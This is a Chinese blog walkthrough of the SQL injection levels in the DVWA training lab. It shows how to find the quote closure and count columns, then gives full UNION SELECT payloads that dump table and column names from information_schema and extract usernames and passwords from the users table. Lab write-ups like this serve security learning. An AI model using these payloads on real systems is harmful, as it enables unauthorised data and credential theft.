当前位置:   article > 正文

DVWA靶场—sql闯关_dvwa闯关

dvwa闯关

部署靶场就不再赘述了,修改难度后自行开始闯关吧~

目录

LOW

Medium

High

LOW

  • 看到这种框框首先判断是什么类型的注入,先给个 ’ 进行探测,发现单引号会报错,但是双引号不会报错,所以闭合是 ' 号

  • 然后继续使用order by 探测列数,探测为2的时候显示正常,为3时就报错,所以确定列数是2列

 

  • 然后再使用联表查询,爆出数据库名,得到dvwa的数据库名
  1. 1' union select database(),2#

  • 再通过数据库名爆出表名,得到表guestbook和users;
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

  • 得到表名后再爆出列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#

  • 最后直接爆出username和password的字段信息
  1. 1' union select group_concat(user),group_concat(password) from users#

 

Medium

  • 看到这里感觉和pikachu的某一关很像,这里先抓包看看,感觉是个post请求

  • 先尝试给一个 引号 ,看看是否会报错,看到有斜杆,应该是被转译了

  • 尝试给了双引号,也会报错,通过之前的抓包分析,发现id选择可能都是数字,不是字符型的,或许不需要闭合

  • 去掉引号,直接使用 order by探测,发现是可以探测出来的,列数是两列

  • 直接使用 union select 查询数据库名
id=1 union select 1,database()&Submit=Submit

  • 接下来的步骤和上面一样,爆表名,列名,最后得到用户信息

High

  • 发现这关是带弹窗的,老办法,先使用1' 进行探测,发现报错

  • 再使用 1" 进行探测,发现页面恢复正常

  • 所以确认是 单引号闭合,先尝试直接order by 探测列数看是否可以探测

    order by 2显示正常

 order by 3显示报错

  • 探测出列数为两列,所以直接使用 union select 查询数据库名

  • 然后根据数据库名,爆出表名
 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

  • 根据数据库名和表名,爆出列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#

  • 最后联合重要的列名,和表名,爆出其中的数据
  1. 1' union select group_concat(user),group_concat(password) from users#

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/267488
推荐阅读
相关标签
  

闽ICP备14008679号